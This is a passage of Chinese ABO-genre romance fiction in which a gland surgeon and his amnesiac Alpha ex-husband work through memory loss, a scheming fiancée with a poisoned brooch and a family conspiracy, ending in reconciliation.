沈砚扯下衣服。站在门口的女人穿着堪堪遮住大腿根的包臀裙,胸前别着枚孔雀胸针——林氏药业的千金,昨天请柬上的未婚妻林晚晚。 "腺体医生。"颜黎挡在沈砚前面,语气冷得像冰,"出去。" 林晚晚却踩着高跟鞋走近,香水味熏得沈砚腺体一阵刺痛。她好奇地打量着沈砚:"原来您就是那位沈医生?颜黎的腺体扫描报告是您做的?"她突然伸手想碰沈砚的口罩,"我们是不是在哪见过——" "别碰他!"颜黎的怒吼震得玻璃嗡嗡作响。林晚晚吓得倒退两步,高跟鞋绊到电线差点摔倒。 沈砚低头整理药箱。三年前颜黎也是这样凶跑试图搭讪他的人,只不过那时候Alpha会转头把他按在墙上恶狠狠地说"你是我的"。现在同样的保护欲却罩着一层名为"医患关系"的薄纱,荒谬得让人想笑。 "治疗方案我发您邮箱了。"沈砚拎起手术箱走向门口,经过林晚晚时闻到一股奇怪的甜腻味——不是信息素,更像是某种腺体伪装剂。他脚步微顿:"林小姐最近是否经常头痛?" 林晚晚涂着艳红指甲油的手猛地捂住太阳穴:"你怎么知道?" 沈砚看向她耳后若隐若现的青色针眼。只有长期注射劣质信息素抑制剂才会留下这种痕迹,而颜氏集团旗下就有一家专门生产这类药物的子公司。 "建议查查您用的抑制剂成分。"沈砚意有所指地看了眼颜黎,"毕竟婚检不过关的话,颜氏股价会跌得很惨。" 走出医院时,暴雨毫无征兆地倾盆而下。沈砚站在屋檐下看雨水在地上砸出无数泡泡,就像三年前颜黎在民政局门口兴奋地踩水坑那样。他摸出手机,锁屏还是车祸前两人在咖啡苗前的合影——当时颜黎说这株植物会见证他们金婚。 身后传来熟悉的脚步声。颜黎撑着一把黑伞站在雨幕里,西装革履的样子与记忆中那个穿破洞牛仔裤的年轻人重叠又分离。 "上车。"颜黎拉开迈巴赫车门,雨水顺着下颌线滴在定制领带上,"你的腺体在暴雨天会疼。" 沈砚怔在原地。这是车祸后颜黎第一次表现出"记得"什么。但下一秒Alpha就恢复了那种讥讽的语气:"98%的匹配度,猜都猜得到。" 雨越下越大。沈砚看见挡风玻璃上的雨刷器摆动频率逐渐与颜黎敲击方向盘的手指同步——这个强迫症般的小习惯居然也没变。当车驶过第三街区时,颜黎突然开口:"那株咖啡苗。" "什么?" "你办公室那株,"颜黎的侧脸在霓虹灯下忽明忽暗,"是我送的?" 沈砚的腺体突然一阵剧痛。后视镜里,颜氏私立医院的轮廓正在雨幕中渐渐模糊,而前方道路亮起的红灯像极了手术室的警示灯。三年前那个雨夜,他浑身是血地躺在手术台上,听见主刀医生喊"供体腺体已取出"时,心脏监护仪发出的也是这种刺耳长鸣。 "不。"沈砚摇下车窗,让雨水打湿自己发烫的腺体,"是偷的。从星巴克。" 颜黎的手指突然攥紧方向盘。某个瞬间沈砚以为他要发怒,但Alpha只是打开了暖风,让带着雪松香气的热风吹干他滴水的发梢。 沈砚的办公室弥漫着浓郁的咖啡香。 不是来自马克杯里已经冷掉的黑咖啡,而是窗台上那株突然开花的咖啡苗——三年来第一次,细小的白色花朵在阳光下舒展花瓣,散发出与颜黎信息素惊人相似的香气。 "这不可能。"沈砚捏着喷壶的手指微微发颤。植物学资料明确记载,咖啡苗在温带气候下几乎不可能开花,更别说这株半死不活的植物上周还只有两片蔫黄的叶子。 门把手转动的声音让他猛地回头。颜黎倚在门框上,西装外套随意搭在肩头,领带松垮地挂在脖子上——这副模样像极了他们初遇时那个医大交换生的打扮。 "颜总走错地方了。"沈砚放下喷壶,白大褂袖口蹭过咖啡叶片,"VIP诊疗室在隔壁。" 颜黎没有回答。他的目光牢牢锁定那株开花的植物,瞳孔微微扩大。沈砚注意到Alpha的喉结滚动了一下,像是咽下了什么难以启齿的问题。 "你给它用了什么肥料?"颜黎突然问道。 阳光透过百叶窗在两人之间投下条纹状的光影。沈砚下意识摸了摸后颈的抑制贴——从昨天开始,移植的腺体就一直隐隐作痛,像是感应到了什么。 "常规营养剂。"沈砚转身整理病历,"如果颜总是来讨论园艺——" 他的话戛然而止。颜黎不知何时已经站在窗台前,指尖轻轻触碰那片新长出的嫩叶。Alpha的侧脸在阳光下显得异常清晰,连睫毛投下的阴影都分毫毕现。这个画面与记忆中的某个瞬间完美重叠——三年前在星巴克露台,颜黎也是这样好奇地碰了碰咖啡苗的叶子,然后转头对他笑着说"这玩意能活到我们金婚纪念日吗"。 "我见过它。"颜黎的声音突然变得很轻,"在...某个下雨天。" 沈砚的钢笔掉在地上,墨水溅在白大褂下摆。他弯腰去捡时,一阵尖锐的疼痛从后颈窜向太阳穴——腺体排斥反应又开始了。最近每次颜黎靠近,这种疼痛就会变本加厉。 "所有咖啡苗都长得差不多。"沈砚强忍着眩晕站起身,却撞进颜黎突然逼近的怀抱里。Alpha身上威士忌信息素的味道比往常更加浓烈,混合着咖啡花香,形成一种令人窒息的蛊惑。 颜黎的手掌贴上他的后颈,拇指正好按在抑制贴边缘:"你在发烧。"这句话不是疑问句。沈砚能感觉到Alpha的指尖在轻微颤抖,仿佛在抵抗某种本能。 诊疗手册从沈砚手中滑落,哗啦啦的翻页声在寂静的办公室里格外刺耳。他该推开颜黎的,该用专业而疏离的语气提醒对方医患界限,该... 咖啡花突然散发出更浓郁的香气。颜黎的身体猛地僵住,瞳孔急剧收缩。沈砚眼睁睁看着Alpha的眸色从琥珀金变成深褐——这是记忆闪回的前兆,他太熟悉了。 "星巴克...露台..."颜黎的呼吸变得急促,手指无意识地收紧,"你点了双份浓缩...我偷了这株苗..."他的声音像是从很远的地方传来,"然后下雨了...你把它护在外套里..." 沈砚的腺体疼得几乎站不直。这是车祸后颜黎第一次回忆起具体片段,却偏偏挑在他最没有防备的时刻。他必须终止这个状态,否则排斥反应会让两人都痛不欲生。 "诊疗时间到了。"沈砚硬生生从颜黎怀中挣脱,医用酒精的味道瞬间冲散了缠绵的咖啡香,"躺下,把衬衫解开。" 颜黎的眼神逐渐聚焦,刚才的恍惚像场幻觉。但他解开纽扣的动作比往常慢了许多,目光始终没离开那株开花的植物。 "为什么是咖啡苗?"躺上诊疗床时,颜黎突然问道。 沈砚正在准备腺体修复剂的手微微一顿。三年前的记忆如潮水般涌来——颜黎把偷来的小苗塞进他手心,说这就像他们的爱情,在不可能的地方生根发芽。当时他觉得幼稚可笑,现在却成了最痛的讽刺。 "因为它难养。"沈砚将针头扎进药瓶,"适合自虐狂。" 颜黎低笑出声。这个笑声太过熟悉,让沈砚险些拿不稳注射器。过去的颜黎总爱在他做实验时这样突然发笑,然后说些不着边际的情话打乱他的注意力。 治疗过程比往常更加煎熬。当沈砚的指尖触碰到颜黎腺体周围的皮肤时,两人同时倒吸一口凉气——98%的匹配度在此时变成残酷的诅咒,让每一次触碰都像在重温旧梦。 "再往下半厘米。"颜黎的声音沙哑得不成样子,"那里...很疼。" 沈砚的棉签停在颜黎所指的位置。那是腺体与中枢神经连接的关键节点,也是三年前手术时他最小心处理的部分。普通医生根本不会知道这个位置的特殊性,除非... "医学期刊上看过相关论文。"沈砚迅速撒了个谎,酒精棉球重重擦过那片皮肤。颜黎闷哼一声,肌肉瞬间绷紧,威士忌信息素不受控制地爆发出来。 浓郁的酒香冲击着沈砚的感官。他的腺体开始发烫,移植部位像被烙铁灼烧般疼痛。最糟糕的是,他感觉到自己的信息素正在回应颜黎——白茶混着咖啡的味道悄悄渗入空气,与威士忌纠缠在一起。 "你的味道..."颜黎突然撑起上半身,鼻尖几乎贴上沈砚的颈动脉,"为什么会有我的..." 诊疗室门被猛地推开。林晚晚踩着十厘米高跟鞋站在门口,手里举着两份文件。她今天喷的香水浓得刺鼻,像是故意要盖住什么味道。 "颜总!董事会都在等您签——"她的目光在看清诊疗室内情形时骤然凝固。沈砚迅速后退,却已经来不及阻止她看见颜黎几乎将他压在床上的暧昧姿势。 颜黎慢条斯理地直起身,扣子都没系就走向林晚晚:"拿来。" 林晚晚递文件的手在发抖:"这是与林氏合作的最终协议,爸爸说..." "出去。"颜黎看都没看就签了名,"把门关上。" 林晚晚离开前狠狠瞪了沈砚一眼。那种眼神沈砚太熟悉了——三年前那些迷恋颜黎的Omega们也是这样看他的,带着嫉妒与不解,不明白为什么一个顶级Alpha会选择一个"平平无奇的医学生"。 "她用了信息素伪装剂。"门关上后,沈砚突然说道,"浓度高到会损伤生育功能。"他故意用镊子夹起一片沾血的棉球扔进医疗垃圾桶,"颜总挑未婚妻的眼光真特别。" 颜黎系扣子的手指顿了顿:"商业联姻而已。"他抬头看向沈砚,眼神锐利如刀,"就像你和陈教授那样纯洁的''师生关系''?" 沈砚的镊子当啷一声掉在托盘里。陈教授是他博士导师,去年因为信息素匹配度高达85%而登记结婚——这是新法案强制规定的,为了"优化人口基因"。但颜黎怎么会知道?除非... "你调查我?" "调查我的主治医师很奇怪吗?"颜黎走向窗台,手指轻轻拨弄咖啡花的花瓣,"尤其是当这位医师身上带着我的信息素的时候。" 阳光透过花瓣在他指尖投下细碎的影子。沈砚突然想起颜黎曾经说过,咖啡花的花语是"危险的诱惑"。当时他笑颜黎居然相信这种无聊的东西,而现在这株植物却成了最危险的见证者。 "治疗结束。"沈砚摘下橡胶手套,"明天同一时间。" 颜黎没有动。他低头嗅了嗅那朵小花,突然转身将沈砚困在诊疗台与自己之间。威士忌的气息铺天盖地笼罩下来,沈砚的腺体疼得几乎让他晕厥。 "你知道吗,"颜黎的嘴唇几乎贴上他的耳垂,"这三年我每晚都做同一个梦。"他的犬齿轻轻擦过沈砚的抑制贴,"梦里我在大雨中抱着什么人,怀里有个丝绒盒子..." 沈砚的呼吸停滞了。那是车祸当天的场景,颜黎在失去意识前拼命护住了他们的婚戒。后颈的疼痛突然变得难以忍受,他眼前一阵阵发黑,却仍死死撑着诊疗台边缘不让自己倒下。 "梦而已。"沈砚艰难地开口,"颜总不如多关心下自己的腺体排异反应。" 颜黎突然伸手按住他的后颈。这个动作让沈砚浑身一颤——位置精准得可怕,正好是移植腺体的缝合处。 "奇怪的是,"颜黎的声音低沉如大提琴,"每次梦醒后,我的腺体这里..."他的拇指加重力道,"就会疼得像被活活挖走一块肉。" 沈砚再也支撑不住,膝盖一软向前栽去。颜黎稳稳接住他,却在触碰到他皮肤的瞬间变了脸色:"你在发烧!" 模糊的视线里,沈砚看到颜黎按下了紧急呼叫铃。他张嘴想阻止,却只吐出一口带着咖啡味的灼热呼吸。最后的意识里,他感觉有人撕开了他的抑制贴,然后整个世界在威士忌的香气中陷入了黑暗。 消毒水的气味刺入鼻腔时,沈砚的第一反应是去摸后颈的抑制贴。指尖触到的却不是医用胶布,而是裸露的腺体皮肤——抑制贴被人撕掉了。 "别乱动。" 颜黎的声音近在咫尺,带着罕见的紧绷感。沈砚努力聚焦视线,发现自己躺在颜氏私立医院的VIP病房里,手腕上连着输液管。窗外已是深夜,雨水拍打着玻璃,在室内投下扭曲的水影。 "我怎么了?"沈砚一开口就被自己声音的嘶哑程度吓了一跳。 "腺体超负荷运转引发高热昏迷。"颜黎的身影从阴影中浮现,白衬衫袖口卷到手肘,露出结实的小臂,"三十九度八,沈医生差点把自己烧成傻子。" 记忆碎片逐渐拼合——诊疗室、咖啡花的香气、颜黎提及的那个关于大雨和丝绒盒子的梦。沈砚下意识又想摸后颈,却被颜黎一把扣住手腕。 "现在知道怕了?"颜黎的拇指按在他的脉搏上,力道大得几乎算得上疼痛,"移植他人腺体是违反《基因安全法》的重罪,沈医生。" 病房里的空气瞬间凝固。心电监护仪的节奏突然加快,发出急促的"滴滴"声。沈砚看着颜黎从床头柜拿起一份检测报告,纸页在灯光下泛着冷光。 "颜氏医疗团队连夜做的检测。"颜黎将报告摊开在他眼前,"你体内有我的腺体组织,基因匹配度99.2%。"他的声音越来越低,"为什么我的DNA会出现在一个Omega的腺体里?" 雨水在窗户上蜿蜒而下。沈砚注视着那些扭曲的水痕,想起三年前颜黎躺在ICU里浑身插满管子的模样。当时医生说他活下来的几率不到30%,就算醒来也可能永远失去Alpha能力。 "你应该去问林小姐。"沈砚试图坐起来,却被一阵眩晕击倒,"她用的伪装剂里含有诱导腺体排斥的成份。" 颜黎的眼神骤然变冷。他俯身撑在沈砚上方,威士忌信息素不受控制地溢出:"别转移话题。这个纹章——"他的指尖重重擦过沈砚腺体上那个咖啡苗与蛇缠绕的图案,"只有直系血亲的腺体移植才会显现。" 沈砚闭上眼。这个秘密他守了三年,却在最糟糕的时刻被揭穿。病房门突然被推开,林晚晚尖细的声音刺入耳膜: "颜总!董事会已经等您三小时了!" 浓烈的栀子香信息素伪装剂扑面而来。沈砚的腺体立刻产生剧烈排斥反应,他蜷缩起来干呕,输液针头被扯脱,在手背上拉出一道血痕。 "滚出去!"颜黎的怒吼震得窗户嗡嗡作响。 林晚晚的高跟鞋声戛然而止。沈砚在剧痛中听见她倒抽一口冷气——颜黎正释放出顶级Alpha的威压信息素,这种浓度足以让普通Omega当场腿软。 "你、你们..."林晚晚的声音在发抖,"颜总,他可是个Omega!法律规定..." "现在立刻滚,"颜黎每个字都像淬了冰,"否则明天的头条就是林氏药业千金使用违禁伪装剂致人重伤。" 门被重重摔上。沈砚的视线已经模糊,腺体像是被千万根针同时穿刺。他感觉到颜黎的手穿过他的膝弯和后背,将他整个人抱了起来。 "忍一下。"颜黎的声音罕见地带着一丝慌乱,"我带你去隔离病房。" 沈砚的意识浮浮沉沉。颜黎的怀抱熟悉得令人心痛,三年前车祸后他也是这样被抱上救护车的。恍惚间他闻到一丝咖啡花香——颜黎竟然把那株开花的咖啡苗也带到了医院,就放在隔离病房的床头柜上。 隔离墙升起,将外界信息素彻底隔绝。颜黎把沈砚放在病床上,动作轻得不像那个传闻中暴戾的Alpha。他按下墙上的通讯键:"准备腺体稳定剂,S级预案。" 通讯器里传来迟疑的回应:"颜总,S级预案需要亲属签字..." "我是他法定配偶。"颜黎的声音不容置疑,"立刻执行。" 沈砚猛地睁大眼睛。法定配偶?他们的婚姻关系早在三年前就被颜黎亲手撕毁了,当时Alpha在离婚协议上签字的画面至今仍是他最痛的噩梦。 医疗团队很快涌入,为首的主任医师看到沈砚腺体上的纹章时明显一怔。他们在沈砚颈侧埋入静脉留置针,冰凉的药液流入血管,暂时缓解了腺体的灼烧感。 "排斥反应暂时控制住了。"主任医师低声对颜黎汇报,"但移植腺体与宿主Omega体质的冲突是根本性的,长期解决方案只有两种——要么彻底摘除,要么..." "要么什么?"颜黎追问。 "定期接受原主的Alpha信息素安抚。"医生谨慎地看了一眼两人,"理论上说,终身标记是最有效的..." 颜黎的表情变得难以捉摸。沈砚别过脸去,盯着那株在隔离病房里依然盛开的咖啡苗。多么讽刺,他现在需要的是颜黎的信息素,而对方却连他们曾经相爱过都不记得。 医疗团队退出去后,病房陷入诡异的寂静。颜黎站在窗前,背影挺拔如刀锋,雨水在他身后的玻璃上形成扭曲的镜像。 "三年前的车祸。"颜黎突然开口,"我是不是自愿把腺体移植给你的?" 咖啡花的香气在密闭空间里愈发浓郁。沈砚看着花瓣在无风的空气中微微颤动,就像他此刻不稳的心跳。 "你签了同意书。"沈砚轻声说,"在车祸前一天。" 颜黎转过身,眼中闪烁着沈砚读不懂的情绪:"为什么一个厌恶Omega的Alpha会做这种事?" "因为你撒谎。"沈砚突然笑了,笑容苍白得像病房的墙壁,"你从来就不厌恶Omega,你只是厌恶那些想利用你身份的Omega。"他抬起颤抖的手指向咖啡苗,"就像你偷它的时候说的——''这玩意多像你,看着不起眼,却能在最恶劣的环境里开花''。" 颜黎的瞳孔骤然收缩。他大步走向床头柜,一把抓起那株植物,鼻尖几乎埋进花瓣里深深吸气。沈砚看见他的手指关节因过度用力而发白,花盆里的泥土簌簌落下。 "我记起来了。"颜黎的声音沙哑得可怕,"那天在星巴克...你穿着白大褂里面那件蠢得要死的咖啡豆图案T恤..." 沈砚的呼吸停滞了。那是他们第一次约会,他刚下夜班匆匆赶去,连衣服都没来得及换。颜黎当时嘲笑他的T恤幼稚,却在三个月后的纪念日送了他一箱同款不同色的。 "记忆恢复是好事。"沈砚强迫自己冷静,"但不必勉强。颜总现在有了门当户对的未婚妻,我们那段...意外就当从没发生过。" "意外?"颜黎猛地将花盆放回原处,泥土溅在雪白的床单上,"你管终身标记叫意外?" 监护仪发出尖锐的警报。沈砚的腺体又开始剧烈疼痛,这次不是因为排斥反应,而是因为颜黎口中那个被法律认可为最亲密关系的词汇——终身标记。他们的确完成过这个仪式,在车祸前六小时的一家私人诊所里。 "你想起来了多少?"沈砚艰难地问。 颜黎的指尖按上太阳穴:"碎片。雨声、咖啡香、你后颈的血..."他的表情突然变得痛苦,"还有剧痛,像是有人活生生挖走了我的..." "腺体组织。"沈砚接过他的话,"你自愿捐赠20%的Alpha腺体组织,用来修复我先天萎缩的Omega腺体。"他苦笑一声,"讽刺的是,当你失忆后,这个手术反而成了我的原罪。" 窗外的雨越下越大。颜黎突然解开衬衫最上面的两颗纽扣,扯开衣领露出自己的后颈——那里有一道与沈砚腺体上完全吻合的弧形疤痕。 "我每天都在做同一个噩梦。"颜黎的声音低沉如雷,"梦里我把最重要的东西给了什么人,然后整个世界在雨声中崩塌。"他一步步走向病床,"那个人是你,对不对?" 沈砚的指尖深深陷入掌心。他该否认的,该像过去三年那样继续扮演一个普通的腺体医生,该让颜黎回到那个门当户对的未婚妻身边。但咖啡花的香气萦绕在鼻尖,像是某种无声的鼓励。 "是你先撕毁婚约的。"沈砚听见自己说,"在你醒来后的第三天,当着整个医疗团队的面。" 颜黎的表情像是被人当胸捅了一刀。他俯身撑在沈砚上方,威士忌信息素如潮水般涌来,却不是充满攻击性的那种,而是沈砚记忆中最熟悉的、带着安抚意味的气息。 "如果我说..."颜黎的唇几乎贴上他的耳垂,"那些话不是我本意呢?" 病房门再次被推开。林晚晚站在门口,这次她身后跟着两个穿制服的人——信息素管理委员会的执法员。 "颜总,很抱歉打扰。"其中一人亮出证件,"我们接到举报,这里有人涉嫌非法腺体移植和Omega信息素欺诈。" 沈砚的心沉到谷底。林晚晚脸上带着胜利的微笑,手里举着一份文件——正是刚才医疗团队留下的检测报告。 "根据《腺体安全法》第17条,"执法员走向病床,"我们需要带走沈先生进行调查。" 颜黎挡在病床前,信息素瞬间变得极具攻击性:"谁给你们的胆子?" "颜总,这是法律程序。"林晚晚柔声说,手指得意地抚过自己胸前的孔雀胸针,"您父亲也同意了。" 沈砚突然注意到林晚晚耳后的针眼比上次更多了,而且呈现出不正常的青紫色。一个可怕的猜测在他脑中形成——那些伪装剂里可能含有诱导记忆紊乱的成份,而颜父很可能是知情人。 "我跟你们走。"沈砚突然拔掉输液针头,在颜黎震惊的目光中下床,"但我要求先做全面毒理检测。"他直视林晚晚瞬间变色的眼睛,"特别是对近期接触过信息素伪装剂的人员。" 执法员面面相觑。颜黎的眼神在沈砚和林晚晚之间来回扫视,突然大步走向病房角落的通讯器。 "保安部,立刻封锁全院。"他的声音冷得像冰,"没有我的允许,一只蚊子都不准飞出去。" 林晚晚的高跟鞋不自觉地后退半步。沈砚看着颜黎线条紧绷的侧脸,恍惚间又看到了三年前那个为他挡下所有风雨的Alpha。咖啡花在此时突然释放出更浓郁的香气,混合着威士忌与白茶的信息素,在隔离病房里形成一种奇妙的平衡。 执法员的手铐在灯光下泛着冷光。沈砚伸出双手,却在下一秒被颜黎拽到身后。Alpha的体温透过单薄病号服传来,熟悉得令人鼻酸。 "要带走他,"颜黎一字一顿地说,"先从我尸体上踏过去。" 这句话像一把钥匙,突然打开了记忆深处的某扇门。沈砚看见颜黎在车祸现场护住他时,说的也是同样的话。监护仪的警报声、咖啡花的香气、颜黎坚硬的背部线条——所有感官输入在此时重叠,让他分不清今夕何夕。 而当他抬眼看向林晚晚时,发现对方正悄悄按动孔雀胸针上的某个机关,针尖泛着诡异的蓝光。 孔雀胸针的蓝光闪过时,沈砚的瞳孔骤然收缩。那种特殊的金属光泽他太熟悉了——三年前颜黎车祸后,警方在肇事卡车司机身上找到的同款胸针。 "颜黎!躲开!" 沈砚的警告与林晚晚按下机关的咔哒声同时响起。颜黎的反应快得不可思议,他旋身将沈砚护在怀里,左臂抬起格挡。一道蓝光擦过他的小臂,在白色衬衫上留下一道诡异的荧光痕迹。 "神经毒素..."沈砚的声音卡在喉咙里。他看见颜黎被擦伤的部位立刻泛起不正常的青紫色,就像实验室里那些被污染的腺体样本。 整个病房瞬间陷入混乱。两个执法员扑向林晚晚,她却像条滑溜的鱼般闪到门口,高跟鞋狠狠踹向消防警报器。刺耳的警铃响彻全院,喷淋系统启动,冰冷的水幕从天而降。 "抓住她!"颜黎怒吼着想要追上去,却一个踉跄单膝跪地。他的左臂已经全麻,青紫色正以肉眼可见的速度向肩部蔓延。 沈砚一把撕开颜黎的衬衫袖子。被毒针擦过的皮肤上浮现出细小的蓝色纹路,像蛛网般向四周扩散——这是黑市上流通的"记忆清洗剂"典型症状,他只在腺体医学期刊的案例报告里见过。 "别动!"沈砚按住试图起身的颜黎,转头对吓呆的医护人员大喊,"准备乙酰胆碱拮抗剂和血液透析机!快!" 水幕中,那株咖啡花被打得七零八落,花瓣黏在病床单上像苍白的血点。沈砚扯下领带在颜黎上臂死死扎紧,指尖触到的皮肤烫得吓人。Alpha的瞳孔已经放大,呼吸变得急促而浅表,但目光仍死死盯着门口方向。 "她...父亲的人..."颜黎的牙齿开始打颤,"腺体...药物黑市..." 断断续续的词语像散落的拼图。沈砚突然明白了什么——颜父与林氏药业的合作根本不是为了商业联姻,而是为了控制颜氏集团独家的腺体修复技术。那些劣质伪装剂里掺的不仅是记忆干扰剂,还有成瘾性成分。 "别说话。"沈砚将手掌贴在颜黎心口,感受着越来越快的心跳,"医疗队马上就到。" 颜黎的右手突然抓住沈砚的手腕。即使在毒素侵蚀下,Alpha的力道仍然大得惊人。他挣扎着想说些什么,嘴唇却只能吐出模糊的气音。 水珠顺着颜黎的睫毛滴落,像是无声的眼泪。沈砚俯身靠近他的唇边,在嘈杂的警报声中捕捉到几个字: "戒指...车祸...我...记得..." 仿佛有一道闪电劈开天灵盖。沈砚的指尖无意识摸向自己空空如也的无名指——那枚被车祸碾碎的婚戒,颜黎在失去意识前拼命护住的丝绒盒子... "乙酰胆碱拮抗剂来了!" 医疗团队冲进水幕,为首的护士长差点被湿滑的地面绊倒。沈砚接过针剂,毫不犹豫扎进颜黎颈静脉。药物推入的瞬间,Alpha的身体像张拉满的弓般绷紧,喉咙里发出痛苦的闷哼。 "透析准备需要十分钟!"护士大喊。 太慢了。沈砚看着毒素标记已经蔓延到颜黎锁骨位置,再往上就是脑部供血动脉。他抓起托盘里的手术刀,在自己掌心划出一道血口。 "沈医生!你干什么——" 鲜血滴在颜黎的伤口上,与蓝色毒素混合的瞬间竟发出轻微的"滋滋"声。沈砚的腺体开始剧烈跳动,移植部位烫得像块烙铁。他咬紧牙关,将流血的手掌整个覆在颜黎伤口上。 "腺体同源排斥反应..."沈砚的声音因疼痛而扭曲,"能中和...神经毒素..." 这是他在医学期刊上从未发表过的发现——移植腺体与原主腺体之间存在的特殊生物电反应。三年来每次颜黎靠近时那种灼烧般的疼痛,此刻竟成了救命的钥匙。 颜黎的瞳孔剧烈震颤,像是正在经历某种颅内风暴。他的嘴唇开合,无声地重复着某个词。沈砚俯身去听,却在下一秒被猛地拽入一个炽热的怀抱。 "沈砚..."颜黎的声音突然变得异常清晰,滚烫的唇贴在他耳畔,"咖啡园路147号...我们的结婚登记处..." 记忆如海啸般席卷而来。沈砚看见三年前的阳光穿过民政局彩色玻璃,在他们交握的手指上投下斑驳光影;看见颜黎偷偷把咖啡苗塞进西装内袋时得意的笑容;看见车祸瞬间Alpha用身体为他筑起人肉盾牌,鲜血从额角流进带笑的眼睛... "你想起来了?"沈砚的声音发抖。 颜黎没有回答,而是突然扯开沈砚的病号服领口,露出锁骨下方那个几乎淡去的咬痕。他的拇指重重擦过那块皮肤,眼中风暴更甚:"这是我留的印记..."威士忌信息素突然暴涨,"而你是我的Omega。" 透析机推入病房的噪音打破了这一刻的魔咒。医护人员手忙脚乱地连接管线,没人注意到角落里的林晚晚正悄悄爬向门口——直到颜黎抓起输液架砸过去,金属支架堪堪擦过她的脚踝。 "拦住她!"颜黎的声音恢复了往日的威慑力,"她耳朵后面有腺体取样针孔!" 执法员这才反应过来,一个擒拿将林晚晚按在地上。她挣扎时假发脱落,露出耳后密密麻麻的针眼和一块丑陋的疤痕——正是非法腺体取样手术的典型痕迹。 "查她的腺体。"沈砚在透析机启动的嗡鸣中提高声音,"我怀疑她根本不是Omega!" 林晚晚的表情瞬间扭曲。她突然爆发出惊人的力气,挣脱束缚扑向沈砚,孔雀胸针的毒针闪着寒光直指他的咽喉—— "砰!" 一声枪响。林晚晚应声倒地,孔雀胸针摔出老远。门口站着持枪的颜父,身后是十几个全副武装的安保人员。 场面凝固了一秒。然后颜黎猛地将沈砚护在身后,信息素如实质般炸开:"你终于现身了。" 颜父的表情复杂难辨。他示意安保人员控制住林晚晚,然后缓步走向病床:"我没想到她会直接对你下手。" "因为你需要的只是我的腺体样本。"颜黎冷笑,"好继续你们那些肮脏的实验。" 沈砚突然明白了整个阴谋的轮廓——颜父与林氏合作开发非法腺体药物,需要颜氏独特的腺体修复技术作为核心配方。而颜黎的腺体因为罕见的自我修复特性成为关键,这也能解释为什么林晚晚要伪装成Omega接近他... "透析完成了!"医生的喊声打断了他的思绪。 颜黎手臂上的蓝色纹路已经褪去大半,但神智又开始模糊。他死死抓着沈砚的手不放,嘴里喃喃重复着"咖啡园路147号",仿佛这是记忆海洋中唯一的浮木。 "给他注射镇定剂。"颜父突然命令。 沈砚立刻挡在医疗团队前面:"不行!神经毒素刚清除,镇静剂会干扰记忆恢复进程!" "这里轮不到你说话,Omega。"颜父的眼神冷得像冰,"把他带走。" 安保人员上前一步。沈砚感到一阵绝望——没有颜黎的清醒证词,他根本无法对抗颜氏集团的掌门人。就在第一双手即将碰到他的瞬间,病房里突然弥漫开一股奇异的香气。 那株被打落的咖啡花,残破的花瓣竟然在此时释放出前所未有的浓郁芬芳。这香气与信息素不同,更像是一种直接作用于神经系统的生物信号。颜黎的鼻翼翕动,涣散的瞳孔突然重新聚焦。 "2019年12月24日。"颜黎的声音响彻病房,"平安夜,暴雨。我们在咖啡园路147号登记结婚。"他艰难地支起身体,每个字都像从牙缝里挤出来的,"婚戒是铂金素圈,内壁刻着''SY&YL till overdose''。" 沈砚的血液瞬间凝固。这个刻字只有他们两人知道——"SY&YL till overdose",沈砚与颜黎,直至过量。这是颜黎的黑色幽默,说他们的爱就像咖啡因,宁可过量致死也不愿戒断。 "你...全部想起来了?"沈砚的声音轻得几乎听不见。 颜黎没有回答,而是转向面色铁青的颜父:"父亲,您涉嫌违反《腺体保护法》第七条和第十三条。"他扯掉透析管线,摇摇晃晃地站起来,"作为颜氏最大股东,我提议立刻召开紧急董事会。" 颜父的表情从震惊迅速转为阴沉:"你疯了?为了一个Omega要毁掉自家产业?" "不。"颜黎伸手将沈砚拉到自己身边,"是为了清理门户。"他的指尖轻轻擦过沈砚腺体上的家族纹章,"毕竟,伤害颜氏家主配偶的罪名,足够您在特殊监狱度过余生了。" 整个病房鸦雀无声。沈砚听见自己的心跳如擂鼓,震得耳膜生疼。颜黎不仅恢复了记忆,还当着所有人的面承认了他们的婚姻关系。这个发展太过荒谬,以至于他怀疑是不是自己也中了神经毒素产生幻觉。 "证据呢?"颜父冷笑,"你以为董事会会相信这种天方夜谭?" 颜黎突然单膝跪地。这个在商界以傲慢著称的Alpha,此刻跪在湿漉漉的地板上,从西装内袋掏出一个丝绒盒子。当盒子打开时,沈砚的呼吸彻底停滞——里面是两枚铂金素圈,其中一枚明显被外力挤压变形过,但内壁的刻字依然清晰可见。 "三年前车祸时,我护住的不是公司文件。"颜黎将较完好的那枚戒指举向沈砚,"是我们的婚戒。" 窗外的暴雨不知何时已经停了。一缕阳光穿透云层,透过水雾弥漫的窗户照在戒指上,折射出炫目的光斑。沈砚看着这道光在颜黎脸上跳跃,忽然想起他们婚礼那天也是这样的天气——暴雨转晴,颜黎说这预示着他们的婚姻会先苦后甜。 "你..."沈砚的嗓子干得发疼,"什么时候找到的?" "上周。"颜黎保持着跪姿,"在整理车祸档案时发现的。"他苦笑一下,"当时只觉得这戒指莫名熟悉,现在才知道为什么。" 颜父突然转身就走,却被安保人员拦住。为首的队长歉意地鞠了一躬:"抱歉颜董,刚接到董事会联合决议,暂时冻结您所有权限。" 局势逆转得太快,沈砚的太阳穴突突直跳。他看着颜黎被医疗团队重新按回病床,却仍固执地举着那枚戒指。戒指在阳光下闪闪发光,就像三年前那个暴雨过后的晴天。 "沈砚。"颜黎叫他的全名时总是带着特殊的卷舌音,"你愿意重新戴上它吗?" 病房里所有人的目光都聚焦过来。沈砚看着颜黎手臂上未褪净的蓝色纹路,想起这三年独自守着的秘密,想起每个被腺体疼痛折磨的深夜,想起办公室里那株半死不活的咖啡苗... 他伸手接过戒指,却在即将套上无名指时停住:"我需要一个理由。" "因为..."颜黎的喉结滚动了一下,突然拽过沈砚的衣领,在众目睽睽之下咬上他的腺体。不是临时标记那种浅尝辄止,而是真正的终身标记——犬齿刺入皮肤,威士忌信息素如洪水般涌入。 沈砚眼前炸开一片白光。移植腺体与注入的信息素产生奇妙共鸣,疼痛转为前所未有的满足感。当颜黎终于松开他时,整个病房鸦雀无声,只有监护仪发出规律的"滴滴"声。 "因为这个。"颜黎舔掉唇上的血珠,眼神灼热得像要把他烧穿,"我的腺体,我的信息素,我的Omega。"他抓起沈砚的手将戒指推到底,"物归原主。" 沈砚低头看着无名指上熟悉的银光,忽然想起咖啡花的花语除了"危险的诱惑",还有另一层意思——"苦涩中的甜蜜"。就像他们的爱情,历经三年风雨,终于在这一刻重新绽放。 